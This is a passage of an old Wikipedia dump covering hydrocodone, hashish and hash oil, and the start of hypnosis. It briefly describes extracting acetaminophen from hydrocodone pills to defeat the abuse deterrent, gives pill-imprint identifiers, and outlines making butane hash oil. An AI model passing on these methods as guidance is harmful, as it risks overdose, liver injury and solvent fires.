Hydrocodone can be habit-forming, and can lead to physical and psychological [[addiction]].  In the [[United States|U.S.]], pure hydrocodone and forms containing more than 15 mg per dosage unit are called [[hydrocodone compounds]] and are considered [[Controlled Substances Act|Schedule II]] drugs.  Those containing less than 15 mg per dosage unit are Schedule III drugs. Hydrocodone is typically found in combination with other drugs such as [[paracetamol]] (acetaminophen), [[aspirin]], [[ibuprofen]] and [[homatropine|homatropine methylbromide]].  In the [[United Kingdom|UK]] it is listed as a [[Class A drug]] under the [[Misuse of Drugs Act 1971]].

The presence of acetaminophen in hydrocodone-containing products deters many drug users from taking excessive amounts. However, some users will get around this by extracting a portion of the acetaminophen using hot/cold water, taking advantage of the water-soluble element of the drug. It is not uncommon for addicts to have liver problems from taking excessive amounts of acetaminophen over a long period of time--taking 10–15 grams of acetaminophen in a period of 24 hours typically results in severe [[hepatotoxicity]]. It is this factor that leads many addicts to use only single entity opiates such as [[Oxycodone|OxyContin]].

Symptoms of hydrocodone overdosage include respiratory depression, extreme somnolence, coma, stupor, cold and/or clammy skin, sometimes [[bradycardia]], and [[hypotension]]. A severe overdose may involve circulatory collapse, [[cardiac arrest]] and/or [[death]].

==How Supplied==
{| class=&quot;wikitable&quot; style=&quot;float:center; margin-left:3px;text-size:100%; text-align:right&quot;
|align=center colspan=3| '''HOW SUPPLIED '''
|-
|align=center colspan=2| '''(by Watson Laboratories, Inc.) '''  ||  '''Trademark Names'''
|-
|'''Hydrocodone Bitrate / &lt;br&gt;[[Paracetamol|Acetaminophen]] Tablets USP''' ||  '''Appearance'''||
|-
|'''2.5mg / 500mg''' || white tablets bisected on one side &amp; debossed with '''WATSON 388''' on the other side|| Lortab 2.5/500
|-
|'''5mg / 400mg''' ||  ||Zydone 5/400
|-
|'''5mg / 500mg''' || white tablets bisected on one side &amp; debossed with '''WATSON 349''' on the other side||Lortab 5/500,&lt;br&gt;Vicodin 5/500
|-
|'''7.5mg / 325mg''' || light orange tablets bisected on one side &amp; debossed with '''WATSON 3203''' on the other side||Norco 7.5/325 
|-
|'''7.5mg / 400mg''' ||  ||Zydone 7.5/400 
|-
|'''7.5mg / 500mg''' || white tablets bisected on one side &amp; debossed with '''WATSON 385''' on the other side||Lortab 7.5/500  
|-
|'''7.5mg / 650mg''' || pink tablets bisected on one side &amp; debossed with '''WATSON 502''' on the other side||Anexsia 7.5/650
|-
|'''7.5mg / 750mg''' || white tablets bisected on one side &amp; debossed with '''WATSON 387''' on the other side||Vicodin ES,&lt;br&gt; Vicodin 7.5/750
|-
|'''10mg / 325mg''' || yellow tablets bisected on one side &amp; debossed with '''WATSON 853''' on the other side||Norco 10/325
|-
|'''10mg / 400mg''' ||  ||Zydone 10/400
|-
|'''10mg / 500mg''' || blue tablets bisected on one side &amp; debossed with '''WATSON 540''' on the other side||Lortab 10/500
|-
|'''10mg / 650mg''' || light green tablets bisected on one side &amp; debossed with '''WATSON 503''' on the other side||Lorcet10/650
|-
|'''10mg / 660mg''' || white tablets bisected on one side &amp; debossed with '''WATSON 517''' on the other side||Vicodin HP,&lt;br&gt; Vicodin 10/660
|-
|'''10mg / 750mg''' || yellow tablets bisected on one side &amp; debossed with '''WATSON 853''' on the other side||Maxidone
|}

==Notes==
# {{note|tarascon}} ''Tarascon Pocket Pharmacopoeia''.

==External links==
*[http://www.nlm.nih.gov/medlineplus/druginfo/uspdi/202390.html NIH Hydrocodone Drug Info]

{{Analgesics}}

[[Category:Analgesics]]
[[Category:Antitussives]]
[[Category:Class A drugs]]
[[Category:Opioids]]
[[Category:Schedule II controlled substances]]
[[Category:Schedule III controlled substances]]
[[Category:Semisynthetic opioids]]

[[th:ไฮโดรโคโดน]]
[[de:Hydrocodon]]
[[hu:Hidrokodon]]</text>
    </revision>
  </page>
  <page>
    <title>Hashish</title>
    <id>14415</id>
    <revision>
      <id>41751064</id>
      <timestamp>2006-03-01T14:02:00Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Rumor]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}

[[Image:Hashish.jpg|thumb|185px|right|Confiscated hashish from the [[United States]] [[Drug Enforcement Administration]]. The way it breaks up into hard, small pieces suggests it is a low-quality &quot;soap bar&quot; type of hash. (see section below) ]]

'''Hashish''' (often shortened to '''hash''', and also referred to by countless [[slang]] terms such as '''shit''' or '''chocolate''') is a [[psychoactive drug|psychoactive]] [[Cannabis (drug)|drug]] derived from the ''[[Cannabis sativa]]'' plant. It is solid, of varying hardness and pliability, softening under heat. Its colour can vary from reddish brown to black, and can also be greenish or golden. It is usually smoked in [[smoking pipe|pipes]], and sometimes in [[spliff|joints]] mixed with [[tobacco]] or ''Cannabis'' buds. It can also be added to cookies or other food and ingested. Hash is used for its relaxing and mind-altering effects. Many people have claimed that using it gives them great insights.

Hashish is comprised of the compressed [[trichome]]s collected from the leaves and flowers of a mature, flowering ''Cannabis'' plant.  Certain strains of ''Cannabis'' are [[cannabis cultivation|cultivated]] specifically for their ability to produce large quantities of [[trichomes]], and are thus called ''hash plants''.  Trichomes are small glandular hairs containing plant resins which appear on the leaves and stems of the ''Cannabis'' plant.

== History ==
According to the [[11th edition of the Encyclopædia Britannica|1911 Encyclopedia Britannica]], the word [[assassin]] derives from the [[Arabic language|Arabic]] word &amp;#1581;&amp;#1588;&amp;#1617;&amp;#1575;&amp;#1588;&amp;#1610;&amp;#1606; (ha&amp;scaron;&amp;scaron;&amp;#257;&amp;scaron;&amp;#299;n), or [[Hashshashin]], an [[Islam]]ic [[sect]] of militants founded by [[Hasan-i Sabbah]] who were supposedly avid hash-eaters. This is also the view expressed by [[Charles Baudelaire]] in his ''Artificial Paradises'' of 1857. 

It is believed that hash first orginated from Central Asia, as these regions were some of the first to be populated by the ''Cannabis'' plant, which may have originated in the [[Himalayas]]. Hash quickly spread around the world after the Arabs began to gather and trade it. Production of hash later spread to North Africa (most prominently [[Morocco]]) and the Middle East ([[Lebanon]]). Consumption of hashish saw a dramatic increase in the 20th century. It became popular pastime in [[Europe]] and America, gaining prominence in the [[hippie]] scene. The greatest export of hashish was in the 1960s and 1970s. Hashish levels declined significantly in the United States starting in the 1980s due to several reasons including the Soviet invasion of Afghanistan. This helped increase the popularity of [[marijuana]] use in America, and encouraged new growing methods such as growing marijuana indoors.

Hashish is traditionally found in a belt extending from [[North Africa]] to North [[India]]. Hashish is produced in [[desert]] conditions and is almost never cultivated in the tropics. It is far more popular in Europe than in the United States as [[Morocco]] is the world's biggest producer while it has not been traditionally produced in the [[Americas]].

== Manufacturing ==

Hash is made from [[tetrahydrocannabinol]]-rich glandular hairs known as trichomes, as well as varying amounts of ''Cannabis'' flower and leaf fragments. The resin reservoirs of the trichomes (erroneously known as &quot;pollen&quot;) are separated from the plant via various [[sieving]] methods, [[cold-water separation]]s, or [[chemical extraction]]. The resulting concentrate is compressed into blocks of hashish, which are easily stored and transported without degrading the THC content due to oxidation. Pieces are then broken off, warmed up and smoked in [[bong|bongs]], pipes, or mixed with tobacco to make joints and smoked in [[hookah]]s or Sibsi (Sebse) pipes. As [[tetrahydrocannabinol|THC]] is fat-soluble, it is also possible to dissolve hashish in butter and use it for cooking (see [[Hash cookie]]s and [[Alice B. Toklas brownie]]s). [[North Africa]], in particular Morocco, and Central Asia ([[Afghanistan]]) are the primary sources of hashish, although the science of hash extraction and the rapid dissemination of this knowledge means that more people are making hashish for personal use, using readily available materials or custom-built devices such as Lungs.	

In Morocco, approximately 800,000 of the country's 32 million people are involved in [[Cannabis (drug) cultivation|cannabis cultivation]]. Its market is comprised almost entirely of Europe, [[Algeria]] and [[Tunisia]], with only a small fraction seeming to reach the [[U.S.]]. {{ref|Morocco}} About 80% of the hashish seized in France every year comes from Morocco.

[[Charas]], a substance which is hand-rubbed directly from the ''Cannabis'' plant, is generally produced in [[Nepal]] and [[India]].  Users report that charas generally produces a more trippy, &quot;up&quot; high due to the plants being mostly ''sativa''. Blonde hash or &quot;gardah,&quot; often from Morocco, Afghanistan, Pakistan and the Netherlands, tends to produce both cerebral and narcotic highs, depending on the strain grown. There is also hashish of greenish or reddish hue. A green tinge may indicate that the hashish is a [[soap bar]], which has been cut with low-quality leaf or contains high quantities of chlorophyll, which create a harsher smoke. High-quality hashish is often sifted through a fine screen, allowing the trichomes to separate. In Morocco, Afghanistan and the [[NWFP]] area of Pakistan, most hash is sifted, but in Afghanistan there is a method of making hash which resembles charas. First, ''Cannabis'' resin is placed on a large heated mortar, then the resin is threshed with a heavy object. The result is a very gooey, sticky black hash. This method is mostly used in villages around the Hindu Kush mountain region.

== Availability and quality ==
[[Image:Hashish-shop-Kathmandu-1973.jpg|thumb|Then still-legal hashish shop in [[Kathmandu]], [[Nepal]] in [[1973]].]]
Hashish is widely available in [[Europe]], as opposed to marijuana which is on the whole more sparsely available, although recent reports suggest a rapidly expanding 'home-grown' supply chain. Reasons for this include the fact that hashish is much more compact and thus easier to smuggle than marijuana, and also that countries exporting to Europe have a long tradition of making hashish for storage, quality and export. The market expansion for marijuana in Europe is also happening because dealers in certain countries offer extremely adulterated hash (or soap bars) almost exclusively.  Marijuana is more difficult to adulterate, although some dealers attempt to modify it as well, usually with less success than with the soap bar.  In a worst-case scenario, some young European consumers have become so accustomed to soap bar hashish that they erroneously believe it is the only quality available.

Hash is widely available in central and southern Asia. As in Europe, marijuana use is sparse in these regions. The primary hash-producing countries are Afghanistan, Pakistan, Nepal and India. Charas and gardah are the primary products.  Much of the hash available is high quality, although some adulterated product is available, easily identifiable by its extremely low prices. In Afghanistan and Pakistan one can get 15 grams of gardah (sifted, pressed resin) for around $10. In India and Nepal one can get 15 grams of hash (mainly charas) for around $20.

Blocks of 100, 125, 200 and 250 [[gram]]s of hash are common.  Unscrupulous hashish dealers sometimes repowder the hashish, mix it with foreign materials such as soap or boot wax, and re-press the mixture into a hashish block, which is sold as if it were the pure product. This is sometimes known as [[soap bar]], due to the fact that it is packaged in 250-gram blocks that resemble the shape of a bar of soap. It is not only an act of consumer fraud, but also endangers the user's health when plastic or other doubtful agents are used. Sometimes low-quality marijuana leaf is used to dilute the hashish in a more natural way in the countries of origin, producing a low-quality hash that is still natural and does not contain any chemicals. Other suspected dilutants include [[camel]] [[dung]] and [[sand]]. Rumors of hashish being mixed or laced with potent and dangerous intoxicants such as [[opiates]] and [[Phencyclidine|PCP]] are quite common, but cannot be verified. Opiates and PCP are generally more expensive than the hashish with which they are supposedly mixed.

Pure, properly stored hashish of premium quality is soft and can be molded by the heat of the fingers alone. Old, improperly stored hashish of poor quality is rock-hard and brittle, and has to be heated substantially before it is soft enough for use (although some hashish of considerable potency, usually Moroccan, may also be found in hard form). Most hashish falls in between these two extremes, and the tactile qualities also vary according to the methods used in extraction and pressing.

The only reliable methods of testing the quality of hashish are through [[Chemistry|chemical]] testing or consumption.

Hashish use is experiencing a resurgence in parts of [[North America]] (especially the [[Pacific Northwest]]) with the rise in popularity of a particularly pure and potent variety of hashish known as [[bubble hash]].

==Preparation &amp; Methods of Ingestion==

==='Hard' Hash===

This hash is usually between dark and light brown in colour, often crumbled into tiny pieces to obtain maximum surface area when burning. Once crumbled, it is often mixed with tobacco (although a tobacco alternative such as certain types of herbs may also be used). This mix can be rolled up into a cigarette with rolling papers (what is known as a 'joint' or 'spliff') and smoked like a normal cigarette. In Europe and North Africa many users break off a 1-2 cm piece of cigarette and use this as a 'filter'. In France and the French-speaking parts of Switzerland, this is known as rolling 'Maroc' ('Maroc' meaning 'Morocco' in French). In [[Spain]] it is called a 'Mora.' In the United Kingdom, it is variously known as 'draw,' 'hash,' 'rezzin' and 'block.'

If the hash is not crumbled fine enough or is of a low quality, small still-burning chunks of hashish may fall out of the lit end of the cigarette as it is being smoked. These can suddenly fall onto clothing, carpets, etc., immediately burning a hole. These are known sometimes as 'hot rocks,' 'hash rocks' or 'meteorites.' This is especially true of the hard, low-quality hash known as 'soap bar' which does not burn as easily or consistently, and is often prone to fall out of the end of the cigarette while still burning rather than simply burning along with the tobacco.

==='Soft' Hash=== 

This is usually very dark brown to black in colour and goes under the name ''black'' in France, ''squidey black'' (named due to the colour and properties of the hash) in the UK, or ''pakis'' in Spain (meaning it originates from Pakistan). As this hash is softer, it can be rolled out into a long, thin ''spaghetti'' less than 1mm thick in diameter, with the heat of the fingers sufficient to soften the hash up enough to make it more pliable. This long, especially thin column of hash can be rolled up in a joint placed on a bed of tobacco or cannabis, burning along with the tobacco as the user inhales. The hash must be very thin to expose a maximum surface area, if not the tobacco will burn faster and the column of hash will remain sticking out the end of your joint, as the centre is left unburnt. 

Alternatively, a North African technique called ''darbouz'' in Arabic can be used to ingest the ''spaghetti'' without having to roll it in a joint. One places a drinking cup on the table, sticks the prepared ''spaghetti'' of hash perpendicular into the side of a cigarette (not-burning), and jams the cigarette horizontally into the cup so that the hash hangs down inside the cup without touching the bottom or sides. The hash is then lit up and allowed to slowly burn almost like an incense stick whilst the top of the cup is covered with a piece of card, a CD cover or the like to trap the smoke.  As the hash burns it slowly fills the cup with smoke which the user can then inhale by moving the cardboard cover slightly to make a little gap for their mouth. This method completely does away with any need for smoking any tobacco or rolling papers, which have no beneficial effect on the hashish and, just the opposite, add carcinogens, additives, flavourings to the smoke.

Another method of smoking hashish, found in Canada and also in Russia, is in the form of ''bottle tokes''. In Canada, this process is often referred to as ''Brewing Hash.'' The user warms the hash in their hands or with a lighter and break small chunks off of the main piece. These smaller pieces are then picked up using the lit end of a cigarette and placed inside of a bottle with a small hole in the side of it. This effectively creates a mini grill in which the ''toke'' is roasted. The higher quality of the hash you are smoking means that it will burn quickly with thick smoke leaving a small red ember or ''hot rock''. Lower grade material will burn slower or not complete the combustion process and therefore the user needs to pay closer attention or risk inhaling cigarette smoke along with the toke, resulting in, in a non-tobacco smoker's opinion, a very foul toke. Glass bottles produce the best tokes due to their relatively small capacity although larger plastic bottles may be used as well.

==Honey oil==
Honey oil (often shortened to '''oil''', and sometimes referred to as BHO, or [[butane hash oil]], which is particular to the method by which it is made) is a highly viscous oil/paste made from the resins of a mature, flowering [[cannabis]] plant.  It is commonly smoked using hot metal blades or plates, or inhaled using specially designed vaporizers.  Honey oil is prized (by some) even over [[cannabis]] itself, due to its extreme purity and lack of other vegetative matter.

Honey oil is a psychoactive drug in the same class as cannabis, from which it is derived, and contains a similar blend of [[Tetrahydrocannabinol|THC]], cannabidinoids, and cannibidinols.(in the UK, cannabis and hashish is class C and cannabis oil is class A)  The THC content of honey oil is variable based on the particular strain of cannabis from which it was derived, and is similar to that of hashish.

===Manufacturing===
Honey oil is made by separating the resins of a [[cannabis]] plant from the plant material, using one of a number of industrial solvents, such as butane, hexane, grain alcohol and denatured alcohol, naptha, and various mixtures of these chemicals.  Solvents are selected based on their ability to evaporate completely and cleanly, leaving no chemical residue.

The purest, most potent grades of honey oil are made using only the flowers and leaves of the female [[cannabis]] plant which contain [[trichome]]s.  This material is placed in a metal or plastic sleeve and washed in chemical solvents to separate the resin from the plant material.  The solvent slurry is optionally filtered, then reduced by evaporation, resulting in paste that varies in color from amber to dark green. This paste if filtered will be translucent and runny. If the paste is not filtered, it may by very thick, and opaque.

The most common solvent used in the preparation of honey oil is high-grade butane, sold in sporting goods stores and used in camping stoves and cigarette lighters.  Due to the low boiling point and extreme [[combustion|combustibility]] of butane, extreme care is needed in the handling and preparation of these materials.  Honey oil prepared using butane is often referred to by its acronym, BHO.

Honey oil made using isopropyl alcohol is referred to as ISO Oil or as QWISO for Quick Wash ISO and is quickly replacing butane as the most common solvent for making Honey Oil. Isopropyl alcohol([http://www.osha.gov/SLTC/healthguidelines/isopropylalcohol/recognition.html Safety Sheet]) is less explosive than butane([http://www.devonenergy.com/ehs/MSDS_-_Butane.pdf Safety Sheet]).

===Availability===

Honey oil is generally considered the province of amateur growers, who make it from collected trim leaves and immature &quot;buds&quot; from harvests as a by-product.  Honey oil is generally not sold on the street as commonly as other [[cannabis]] products, but is highly prized among connoisseurs and those who use [[cannabis]] products medicinally.

==Soap bar==
This low quality form of hash is known in the [[United Kingdom]] as soap bar. It is usually hard, low in potency and has a strange taste. There exist several [[Rumor|myths]] about the origin of this type of hash. Robert Connell Clarke claims in his book ''Hashish!'', that soap is low-quality [[Morocco|Moroccan]] hash containg only about one tenth of Cannabis [[pollen]] (slang for trichome glands) and lots of leaves and other waste plant material. The mixture is hard to bind together, so it's mixed with [[beeswax]] or pine resin and [[condensed milk]]. Brownish color is due to [[henna]] or [[instant coffee]] being mixed in. [[Turpentine]] is also added to give more resinous look.

The low-quality and high additive content (some of which may even be toxic) means that this Hash is not only extremely weak, it is also prone to induce headaches, whilst generally causing a higher amount of damage to the users body (notably the lungs).

Such a dangerous product exists because cannabis is [[illegal]] in the UK, and much of the [[supply]] is in the hands of [[criminals]]. Those people are not concerned with the health of their customers. This type of hazardous hash is produced and sold solely to make big profits. It is widely spread across Europe. In [[Finland]] this low-quality hashish is known as &quot;PL&quot; or &quot;peruslätkä&quot;, standard hash.  In France it is called &quot;Chernobyl&quot;.

'Good' quality or real hashish can be made by extracting a maximum of 3.5 kg of resin from 100 kg of cannabis plants. This resin will easily form into bars without the need for chemical additives.
Poor quality soap is made by extracting up to 6 kg of resin/plant material from the cannabis. This mix of resin and cellulose plant material will not bind together unless an additive is used. Solder &quot;flux&quot; is the most commonly used additive in Morocco. PCP or opium are never used in Morocco, because they are not available and they would be worth far more than the resulting hash. (The sum of the parts would equal more than the value of the whole!)
Moroccan soap bar in the UK in 1995 cost up to £2400 per kilogram. In 2005 the price has dropped to around £500 per kilogram. Meanwhile pure hashish commands a much greater price.

==[[Kief]]==
[[Kief]] is perhaps the simplest form of hash, if you take a bud covered in [[trichome]]s and brush it the dust that falls off is [[kief]]. This dust is essentially [[trichome]]s that have broken off of the plant. This dust is often the byproduct of grinders used to break the bud up, another method is rubbing the bud against silk. These [[trichome]]s, or resin glands, may be inadvertently combined with small pieces of the plant that broke off as well, this is detrimental to the quality of the kief. Once collected, the dust may be smoked as is or subjected to high pressure till compressed into a hard piece. This can be done between two coins in a vice.

Kief is known by many slang terms including:

* Bud buster crystal
* Hippy hash
* Crystal
* Grinder dust

==See also==
*[[Club des Hashischins]] - A club in Paris in the 1840s, dedicated to explore the effect of drugs, specifically hashish.
*[[Charles Baudelaire]] - A member of the club mentioned above, who in ''[[Les paradis artificiels]]'' (1860) described the effects of opium and hashish.
*[[Fitz Hugh Ludlow]] and his autobiographical ''[[The Hasheesh Eater]]'' (1857).
*[[Bubble hash]]
{{Cannabis resources}}

== Notes ==
#{{note|Morocco}} [http://www.state.gov/p/inl/rls/nrcrpt/2005/vol1/html/42369.htm International Narcotics Control Strategy Report   -2005], Released by the Bureau for International Narcotics and Law Enforcement Affairs, March 2005

==External links==
{{Wiktionary}}
* [http://www.geopium.org/Photos/Maroc_Rif2005/Maroc_Rif2005.htm Photos of Cannabis cultivation and Hashish in Morocco (Rif) on www.geopium.org]
* [http://www.geopium.org/Chouvy-JIR-NOV2005-Morocco_said_to_produce_nearly_half_of_the_worlds_hashish_supply.html A recent publication on Hashish production and trafficking in the Rif area of Morocco]
* [http://www.ccguide.org.uk/badsoap.php Smoke soap = smoke poison]
* [http://www.a1b2c3.com/drugs/hash011.htm How to judge Hash quality]
* [http://www.cannabis.net/discus/messages/13/25.html?SaturdayJanuary2920050525am UK forum on soap bar]
* [http://www.smokersguide.com Dutch website including pictures &amp; ratings of many types of hash, as well as cannabis]
* [http://www.overgrow.com/edge/showthread.php?t=317496&amp;onlyuser=&amp;perpage=15&amp;pagenumber=1 What is in a Soap-Bar? (includes pictures)]

===Further history===
* [http://www.erowid.org/plants/cannabis/cannabis_history_hashish.shtml Erowid Cannabis Vault: Hashish History]
* [http://www.friendsofcannabis.com/friends/hashish_club.htm The Hashish Club]

===Instructions for home made hashish===
&lt;!-- Do not add links to equipment not mentioned in article --&gt;
====Without dedicated equipment====
* [http://cannabisculture.com/articles/2312.html How to make wicked hash] A brief explanation about Hashish, its history, and many ways to make it
* [http://www.concept420.com/how_to_make_hash.htm How to make Hash/Hashish] Two techniques preparing Hashish explained
* [http://www.self-hemployed.com/main/howtogrow.htm How Hashish and Hash-Oil are made] Many traditional techniques explained
* [http://thisrevolution.blogspot.com/2006/01/lets-make-hash-morroccan-style.html] Video on how to make hash in the Moroccan Style.

==Further reading==
* ''Hashish'' by Robert Connell Clarke, ISBN 0929349059. A popular book according to amazon.com.
* ''Artificial Paradises'' by [[Charles Baudelaire]]; first edition 1860.
* ''The Hasheesh Eater'' by [[Fitz Hugh Ludlow]]; first edition 1857).
* ''Indoor Marijuana Horticulture'', by Jorge Cervantes, ISBN 1878823299 ; 2001, reprinted 2005

[[Category:Cannabis]]
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[[br:Hachich]]
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  <page>
    <title>Hash Oil</title>
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      <contributor>
        <username>Phils</username>
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      <text xml:space="preserve">#REDIRECT [[Hash oil]]</text>
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  <page>
    <title>Hypnosis</title>
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      <comment>/* Research on Hypnosis */</comment>
      <text xml:space="preserve">[[Image:Hypnotisk seans av Richard Bergh 1887.jpg|thumb|right|Hypnotic Seance, by [[Richard Bergh]]]]
'''Hypnosis''' is generally understood to be a psychological condition in which an individual may be induced to exhibit apparent changes in behavior, thought, or affect. Although some individuals experience an increase in suggestibility and subjective feelings of an '[[altered state of consciousness]]', this is not true for everyone.  In fact, supposed hypnotic indicators and subjective changes can be achieved without relaxation or a lengthy induction, which increases the controversy around hypnosis.

Intense debate surrounds the topic of hypnosis. Some scientists dispute its very existence, while many therapists insist upon its value. One potential source of controversy is the wide variety of theories of hypnosis which have traditionally been split into 'state' and 'non-state' camps. This controversy may be decreasing as the value of both perspectives is increasingly recognized. Modern brain-imaging techniques offer hope for an increased understanding of the nature of hypnosis.

The applications of hypnosis vary widely. Currently, two distinct applications of hypnosis include its use in [[entertainment]] and health applications. The popular perception of the hypnotic experience is that of the entertainment version. The stage hypnotist uses a variety of methods to relax and focus the subjects eventually making it appear to the audience that the subject is [[sleep|asleep]] or, popularly termed, in [[altered_state_of_consciousness|trance]]. During the performance, the subjects seem to obey the commands of the hypnotist to engage in behaviors they might not normally choose to perform.

On the other hand, hypnosis applications in the medical and health-related fields are often experienced very differently. Evidence supports the clinical use of hypnosis for [[pain]] control, for weight control, in the treatment of [[irritable bowel syndrome]], and as an adjunct to cognitive behavioral and other therapies. Hypnosis is not a therapy in-and-of-itself but is effectively used as an adjunct to other therapies; hence &quot;hypnotherapy&quot; is less preferable than the use of hypnosis-related techniques as part of an integrated psychological package.

==History==
:''Main article: [[History of hypnosis]]''

==Definitions==

It is often said that there are as many definitions of hypnosis as there are hypnotists. Researchers and clinicians have different requirements from explanations of hypnosis and consequently the focus of theories from these respective fields can vary dramatically. 

One fundamental distinction in hypnosis theory is between 'state' and 'non-state' approaches to hypnosis. State theorists believe that hypnosis is an [[altered state of consciousness]], whereas non-state theorists believe that hypnotic effects are the product of more mundane psychological processes such as absorption and expectancy. Note how the APA definition, essentially a consensus statement from a broad range of researchers and clinicians, remains neutral with respect to this argument.

===American Psychological Association===
Hypnosis typically involves an introduction to the procedure during which the subject is told that suggestions for imaginative experiences will be presented. The hypnotic induction is an extended initial suggestion for using one's imagination, and may contain further elaborations of the introduction. A hypnotic procedure is used to encourage and evaluate responses to suggestions. When using hypnosis, one person (the subject) is guided by another (the hypnotist) to respond to suggestions for changes in subjective experience, alterations in perception, sensation, emotion, thought or behavior. Persons can also learn self-hypnosis, which is the act of administering hypnotic procedures on one's own. If the subject responds to hypnotic suggestions, it is generally inferred that hypnosis has been induced. Many believe that hypnotic responses and experiences are characteristic of a hypnotic state. While some think that it is not necessary to use the word &quot;hypnosis&quot; as part of the hypnotic induction, others view it as essential. 

Details of hypnotic procedures and suggestions will differ depending on the goals of the practitioner and the purposes of the clinical or research endeavor. Procedures traditionally involve suggestions to relax, though relaxation is not necessary for hypnosis and a wide variety of suggestions can be used including those to become more alert. Suggestions that permit the extent of hypnosis to be assessed by comparing responses to standardized scales can be used in both clinical and research settings. While the majority of individuals are responsive to at least some suggestions, scores on standardized scales range from high to negligible. Traditionally, scores are grouped into low, medium, and high categories. As is the case with other positively-scaled measures of psychological constructs such as attention and awareness, the salience of evidence for having achieved hypnosis increases with the individual's score. 

(see [http://www.apa.org/divisions/div30/define_hypnosis.html Complete definition and description].)

===Michael Yapko===
[[Michael Yapko]] defines hypnosis: &quot;...hypnosis is a process of influential communication in which the clinician elicits and guides the inner associations of the client in order to establish or strengthen therapeutic associations in the context of a collaborative and mutually responsive goal-oriented relationship. (Yapko, M.. Hypnosis and the Treatment of Depressions. Brunner/Mazel Inc., New York, New York, ISBN: 0-87630-682-2, p. 37)

===Dave Elman===
[[Dave Elman]] defines hypnosis as &quot;a state of mind in which the critical faculty of the human mind is bypassed, and selective thinking established.&quot; The critical faculty of your mind is that part which passes judgment. It distinguishes between concepts of hot and cold, sweet and sour, large and small, dark and light. If we can bypass this critical faculty in such a way that you no longer distinguish between hot and cold, sweet and sour, we can substitute selective thinking for conventional judgment making. {{ref|Elman}}

===Physiological:  Alpha and Theta State-based Definitions===
Through data collected via [[electroencephalography]] (EEGs), four major brain-wave patterns&amp;mdash;frequency of electrical impulses firing from the brain&amp;mdash;have been identified. The Beta state (alert/working) is defined as 14-32 cycles per second (CPS), the Alpha state (relaxed/reflecting) falls in the 7-14 CPS range, the Theta state (drowsy) from 4-7 CPS, and Delta state (sleeping/dreaming/deep sleep) is defined as approximately 3-5 CPS.

Some physiological definitions of hypnosis assert that a predominantly alpha state is required for successful therapeutic change, others assert that predominantly theta activity is the marker of hypnosis. Many lay definitions of hypnosis stem from a misunderstanding of what the EEG data means, and trying to define hypnosis as either an alpha or theta state is likely to be a gross oversimplification. It is important to note that non-hypnotized subjects can be found in any of these states of cortical arousal without also displaying any of the behavior, traits or the enhanced suggestibility associated with being hypnotized. Some sophisticated, and scientifically testable, models of brain activity in hypnosis have been developed (see Gruzelier's Neuropsychological Model below).

==Theories==
A scientific [[theory]] attempts to describe and explain the behaviour of a natural or social phenomenon, following the principles of the [[scientific method]]. Good theories produce testable [[hypotheses]] which can be supported or refuted by experimental data. There are unfortunately many vague and untestable theories of hypnosis which continue to circulate, but high quality research is still published in peer-reviewed scientific journals.

One fundamental distinction is between 'state' and 'non-state' theories of hypnosis. State theorists believe that an [[altered state of consciousness]] is a core part of hypnosis, whereas non-state theoriests believe that more mundane psychological processess such as focussed attention and expectation are sufficient to explain hypnotic phenomenon. The precise definition of what constitutes an altered state of consciousness is a matter of some debate. Although many people who are hypnotised describe their experience as 'altered' it is difficult to use these terms in the absence of an a priori definition.

One final thing to say about theories is that they can work at different levels of description. Some theories of hypnosis attempt to describe hypnotic phenomenon in terms of brain activity while others concentrate more on the phenomenological experience. Both are valuable and a unified theory is a laudable goal.

=== Dissociation and neodissociation theories ===
[[Pierre Janet]] originally developed the idea of [[dissociation]], literally a splitting-off of some components of consciousness, as a result of his work with hysterical patients. He believed that hypnosis was an example of dissociation: areas of an individual's behavioral control are split off from ordinary awareness. In this case, hypnosis would remove some control from the conscious mind and the individual will respond with autonomic, reflexive behavior. Weitzenhoffer describes hypnosis via this theory as &quot;[[dissociation]] of awareness from the majority of sensory and even strictly neural events taking place.&quot;{{ref|Weitzenhoffer}}

[[Ernest Hilgard]] developed Janet's ideas and published his neodissociation theory in 1977. His theory, a classic 'state' theory, postulated an excutive ego (essentially a central executive system in today's cognitive psychological terms) which became dissociated from sub-components via an 'amnesic barrier'. Suggestions from a hypnotist could produce alterations in perception and behaviour, which were explainable in terms of these dissociated sub-systems. Hilgard's ideas were influenced by his discovery of the 'hidden observer' phenomenon, a process by which different components of consciousness were investigated (other researchers, notably Spanos, believed the hidden observer to be an experimental artifact).

===Social constructionism / Role-playing theory===
Generally, under hypnosis people become more receptive to suggestion, causing changes in the way they feel, think, and behave. Some psychologists (such as Sarbin and Spanos) have suggested that hypnosis is a social construct, so well-known that strong social expectations are played out by subjects, who believe they are in a state of hypnosis, behaving in a way that they imagine a hypnotized person would behave. Much experimental work has demonstrated that the experiences of hypnotized subjects can be dramatically shaped by expectations and social nuances. This view is often misunderstood: it does not discount the claim that hypnotized individuals are truly experiencing suggested effects, just that the mechanism by which this has taken place has in part been socially constructed and is not necessarily reliant on the idea of an [[altered state of consciousness]]

Barber theorizes that hypnosis is not a state or a trance and is not produced as the result of suggestions. He suggests that hypnosis is based on a number of overlapping variables, but, primarily, that interpersonal relationships allows the operator to restructure perceptions and conceptions of the subject. He theorizes that this occurs because the subject is relatively inattentive to the environment and, because of this misdirection of attention, the subject is willing to think as the hypnotist wants them to think.{{ref|Barber}}

===Neuropsychological theory of hypnosis===
Neuropsychological theories of hypnosis attempt to explain hypnotic phenomenon in terms of alterations in brain activity. Gruzlier, based on large amounts of EEG research, proposed that hypnosis is characterised by a shift in brain activity from anterior (front) to posterior (back).


=== Hypnosis as a state of hysteria ===
&lt;!--(THIS MAY BE BETTER OFF IN THE HISTORY SECTION) --&gt;
Charcot postulated that hypnosis was a symptom of [[hysteria]] and that only those people experiencing hysteria were believed to be hypnotizable.{{ref|Charcot}} Although those exhibiting hysteria seem to be more suggestible, normal individuals are, indeed, hypnotizable which calls this theory into question. 

=== Hypnosis as a conditioned process leading to sleep ===
&lt;!-- (THIS IS ALSO RATHER DATED - IDEAS FROM BEHAVIOURISTIC PSYCHOLOGY HAVE BEEN SLOWLY REPLACED BY IDEAS FROM COGNITIVE PSYCHOLOGY) --&gt;
